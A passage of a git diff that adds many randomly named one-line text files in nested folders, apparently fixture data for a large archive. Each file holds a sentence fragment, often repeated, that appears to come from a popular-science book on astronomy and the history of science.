+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_vyplvlqlsphnqeauc.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_vyplvlqlsphnqeauc.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_vyplvlqlsphnqeauc.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_wmsilngoibafvq.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_wmsilngoibafvq.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_wmsilngoibafvq.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_xmitunhixovpfvakwl.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_xmitunhixovpfvakwl.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_xmitunhixovpfvakwl.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_zyefofnssncvnrxxjsbvgmz.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_zyefofnssncvnrxxjsbvgmz.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_zyefofnssncvnrxxjsbvgmz.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/cjbuuijncnsgqupeajfcmat.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/cjbuuijncnsgqupeajfcmat.txt
new file mode 100644
index 0000000..9aaf801
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/cjbuuijncnsgqupeajfcmat.txt
@@ -0,0 +1 @@
+When the gravity is sufficiently high, nothing, not even light, can get out. Such a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/cpqeczmhl.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/cpqeczmhl.txt
new file mode 100644
index 0000000..5fa04e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/cpqeczmhl.txt
@@ -0,0 +1 @@
+spectral line of hydrogen, the most abundant atom in the Universe. We are just beginning to listen here for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_aspbvnwjgg.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_aspbvnwjgg.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_aspbvnwjgg.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_caipkkjjv.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_caipkkjjv.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_caipkkjjv.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_ctdynpuavaotc.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_ctdynpuavaotc.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_ctdynpuavaotc.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_cxlgtqqfmfrmccugsb.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_cxlgtqqfmfrmccugsb.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_cxlgtqqfmfrmccugsb.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_fjbjthkbkog.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_fjbjthkbkog.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_fjbjthkbkog.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_geeajneoddrtt.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_geeajneoddrtt.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_geeajneoddrtt.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_gmadipepve.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_gmadipepve.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_gmadipepve.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_hunkvsesxjhplabo.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_hunkvsesxjhplabo.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_hunkvsesxjhplabo.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_jcixmcgjonceewnlcrswo.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_jcixmcgjonceewnlcrswo.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_jcixmcgjonceewnlcrswo.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_jrvxijmedxsgolvaduvrre.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_jrvxijmedxsgolvaduvrre.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_jrvxijmedxsgolvaduvrre.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_kjeipnshpwwcyeeazrb.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_kjeipnshpwwcyeeazrb.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_kjeipnshpwwcyeeazrb.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_rfbrkwfdyyejs.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_rfbrkwfdyyejs.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_rfbrkwfdyyejs.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_tkffjxdftww.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_tkffjxdftww.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_tkffjxdftww.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_tkwadwffa.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_tkwadwffa.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_tkwadwffa.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_twajmleygwambfqmno.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_twajmleygwambfqmno.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_twajmleygwambfqmno.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_xbfcqusrcjpunsqbnq.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_xbfcqusrcjpunsqbnq.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_xbfcqusrcjpunsqbnq.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_xmoaewzg.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_xmoaewzg.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_xmoaewzg.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_ylcmthipxvyrjyxtaa.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_ylcmthipxvyrjyxtaa.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_ylcmthipxvyrjyxtaa.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_zihxmdxmtxoiajxq.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_zihxmdxmtxoiajxq.txt
new file mode 100644
index 0000000..b09046f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/file_zihxmdxmtxoiajxq.txt
@@ -0,0 +1 @@
+discovery of America by Christopher Columbus and the journeys of the following few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/gejykghtotkkdvnsbup.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/gejykghtotkkdvnsbup.txt
new file mode 100644
index 0000000..84fc1ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/gejykghtotkkdvnsbup.txt
@@ -0,0 +1 @@
+of World War II employed virtually all of Goddard’s innovations and culminated in 1948 in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/jetmxuarmmh.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/jetmxuarmmh.txt
new file mode 100644
index 0000000..98c7b1d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/jetmxuarmmh.txt
@@ -0,0 +1 @@
+differently than a tree does. But down deep, at the molecular heart of life, the trees and weare essentially identical. We both use nucleic acids for heredity; we both use proteins as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/mikduesdxsn.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/mikduesdxsn.txt
new file mode 100644
index 0000000..acedc32
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/mikduesdxsn.txt
@@ -0,0 +1 @@
+be very stable. Three helium nuclei make a carbon nucleus; four, oxygen; five, neon; six,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/mmizqkhoabq.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/mmizqkhoabq.txt
new file mode 100644
index 0000000..6305769
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/mmizqkhoabq.txt
@@ -0,0 +1 @@
+with enormous relief we saw the footpad sitting high and dry above the Martian surface.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/qawqtpcqhyqvyvdb.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/qawqtpcqhyqvyvdb.txt
new file mode 100644
index 0000000..43e9113
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/qawqtpcqhyqvyvdb.txt
@@ -0,0 +1 @@
+Tantalizingly, it suggests another and quite unexpected method.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/sdyvryyzlpks.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/sdyvryyzlpks.txt
new file mode 100644
index 0000000..3c57783
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/sdyvryyzlpks.txt
@@ -0,0 +1 @@
+body’s urgings to leave, even if briefly, before the baron. The consequent urinary infection
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/thonncejxge.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/thonncejxge.txt
new file mode 100644
index 0000000..6fd8695
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/thonncejxge.txt
@@ -0,0 +1 @@
+as infinite, yet think that no number has been named which is great enough to exceed its multitude.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/vtgsavpftseuxxcxfrl.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/vtgsavpftseuxxcxfrl.txt
new file mode 100644
index 0000000..db1a0a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/vtgsavpftseuxxcxfrl.txt
@@ -0,0 +1 @@
+Venus has almost the same mass,* size, and density as the Earth. As the nearest
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/wmkgqdpyf.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/wmkgqdpyf.txt
new file mode 100644
index 0000000..022ac72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/wmkgqdpyf.txt
@@ -0,0 +1 @@
+lifetimes are much shorter than the Sun’s. A star tens of times more massive than the Sun
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/wnigajvimjabjutsaux.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/wnigajvimjabjutsaux.txt
new file mode 100644
index 0000000..bcb6963
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/folder_rzifjktlqm/wnigajvimjabjutsaux.txt
@@ -0,0 +1 @@
+motion was somehow flawed, unsuitable for the planets, which, being free of the Earth,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_bposeglyn.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_bposeglyn.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_bposeglyn.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_cxyszmkzlnjiewemx.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_cxyszmkzlnjiewemx.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_cxyszmkzlnjiewemx.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_epakcdosak.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_epakcdosak.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_epakcdosak.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_eyzjvfmjhybzilljwcoadd.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_eyzjvfmjhybzilljwcoadd.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_eyzjvfmjhybzilljwcoadd.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_fgcjhupjjexkhoambovragfl.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_fgcjhupjjexkhoambovragfl.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_fgcjhupjjexkhoambovragfl.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_fkcbolreypbxbv.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_fkcbolreypbxbv.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_fkcbolreypbxbv.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_ggahqtpzmdafufiwfjhtj.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_ggahqtpzmdafufiwfjhtj.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_ggahqtpzmdafufiwfjhtj.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_gpbfrnvocft.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_gpbfrnvocft.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_gpbfrnvocft.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_iocvfgieaazqkvpjp.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_iocvfgieaazqkvpjp.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_iocvfgieaazqkvpjp.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_klelzcqzvpjyph.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_klelzcqzvpjyph.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_klelzcqzvpjyph.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_kzhhhhdh.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_kzhhhhdh.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_kzhhhhdh.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_npvrinrofery.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_npvrinrofery.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_npvrinrofery.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_ojgxttdhegpkjf.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_ojgxttdhegpkjf.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_ojgxttdhegpkjf.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_owwnrqoeynlzdnmnqz.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_owwnrqoeynlzdnmnqz.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_owwnrqoeynlzdnmnqz.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_pjnmhusrkwwbjyypd.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_pjnmhusrkwwbjyypd.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_pjnmhusrkwwbjyypd.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_slymdakzncessyhm.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_slymdakzncessyhm.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_slymdakzncessyhm.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_szurjtmmrme.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_szurjtmmrme.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_szurjtmmrme.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_umfqqojoldmsoawk.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_umfqqojoldmsoawk.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_umfqqojoldmsoawk.txt
@@ -0,0 +1 @@
